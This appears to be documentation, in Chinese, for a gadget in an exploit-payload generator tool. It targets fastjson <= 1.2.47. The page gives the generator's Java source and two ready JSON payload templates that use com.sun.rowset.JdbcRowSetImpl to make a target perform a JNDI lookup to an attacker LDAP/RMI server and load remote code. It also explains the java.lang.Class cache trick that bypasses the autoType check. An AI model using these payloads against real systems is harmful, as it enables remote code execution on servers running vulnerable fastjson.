Skip to content

Latest commit

 

History

History
61 lines (48 loc) · 4.47 KB

File metadata and controls

61 lines (48 loc) · 4.47 KB

JdbcRowSetImpl 1.2.47(FastjsonJdbcRowSetImpl)

  • 类别:fastjson 别名:— 优先级:—
  • 作者:—
  • 依赖fastjson <= 1.2.47

作用

生成一段 Fastjson JSON payload,利用 JDK 内置的 com.sun.rowset.JdbcRowSetImpl——设置其 dataSourceName 为攻击者的 JNDI URL、再设 autoCommit=true 触发 JdbcRowSetImpl.connect() 里的 InitialContext.lookup(),从而发起 JNDI 注入(LDAP/RMI 远程加载)。这是 fastjson <= 1.2.24 / <= 1.2.47 最经典的 JNDI 打法。

链接标签

  • 入口 tagsFastjsonPayloadEND —— 产物是交给 Fastjson 入口的 JSON 文本;END 表示自身即最终 sink(JNDI),不向下包装其他 gadget。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

@Param
public String jndiUrl = "ldap://localhost:1389/Exploit";

@Param(name="fastjson版本", ... type=ParamType.Choice,
       choices={@Choice(label="fastjson <= 1.2.24", value="1.2.24"),
                @Choice(label="fastjson <= 1.2.47", value="1.2.47")})
public String fastjsonVersion = "1.2.47";

public static String template1224 = "{\n    \"x1\": {\n        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n        \"dataSourceName\": \"%s\",\n        \"autoCommit\": true\n    }\n}";
public static String template1247 = "{\n    \"x1\": {\n        \"@type\": \"java.lang.Class\",\n        \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n    },\n    \"x2\": {\n        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n        \"dataSourceName\": \"%s\",\n        \"autoCommit\": true\n    }\n}";

public Object getObject(byte[] bytes) throws Exception {
    String templateToUse = "1.2.24".equals(this.fastjsonVersion) ? template1224 : template1247;
    return String.format(templateToUse, this.jndiUrl);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((byte[])chain.doCreate(context));
}
  • 双模板按版本切换fastjsonVersion1.2.24 时用 template1224(直接声明 JdbcRowSetImpl);否则(1.2.47)用 template1247
  • 1.2.47 缓存绕过template1247 先用 {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"} 把目标类塞进 fastjson 的类缓存(Mapping.mapping)。因为 Class.deserializecache=true 时会把 val 指定的类登记进白名单缓存,随后 x2 再引用同一类名即可绕过 1.2.25~1.2.47 引入的 autoType checkAutoType 校验
  • JNDI 触发点x2(或 1.2.24 的 x1)反序列化 JdbcRowSetImpl 时,fastjson 依次调用 setter:setDataSourceName(jndiUrl) 记录名称,setAutoCommit(true) 触发 JdbcRowSetImpl.connect()InitialContext.lookup(this.getDataSourceName()),即对攻击者 jndiUrl 发起 JNDI 查找,加载并实例化远程恶意 Factory,完成 RCE。
  • invoke 虽调用了 chain.doCreate 取内层,但 getObject(byte[]) 并不使用该字节码——本构件是自包含 JNDI sink,内层可为空产物。%s 仅由 jndiUrl 填充。

参数(@Param)

字段 名称 说明 默认 可选值
jndiUrl jndiUrl JNDI 查找地址(LDAP/RMI),指向攻击者服务器 ldap://localhost:1389/Exploit 任意 JNDI URL
fastjsonVersion fastjson版本 选择目标 fastjson 版本以决定用直连模板还是 Class 缓存绕过模板 1.2.47 1.2.24(fastjson <= 1.2.24)、1.2.47(fastjson <= 1.2.47)

适用版本与原理要点

  • 适用 fastjson <= 1.2.471.2.24 分支用于更早版本)。
  • 仅需 JDK 内置 com.sun.rowset.JdbcRowSetImpl,无第三方依赖,是 fastjson JNDI 打法的「无依赖」基线。
  • 成功与否受目标 JDK 的 JNDI 远程加载防护影响(高版本 JDK com.sun.jndi.ldap/rmi.object.trustURLCodebase=false 默认关闭远程 codebase,需配合本地 factory / 其它绕过)。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。对应预设链中有基于原生 Fastjson gadget 的「Fastjson JNDI链」([Fastjson, LdapAttribute]),本构件是纯 JSON 文本版的等价打法。

关联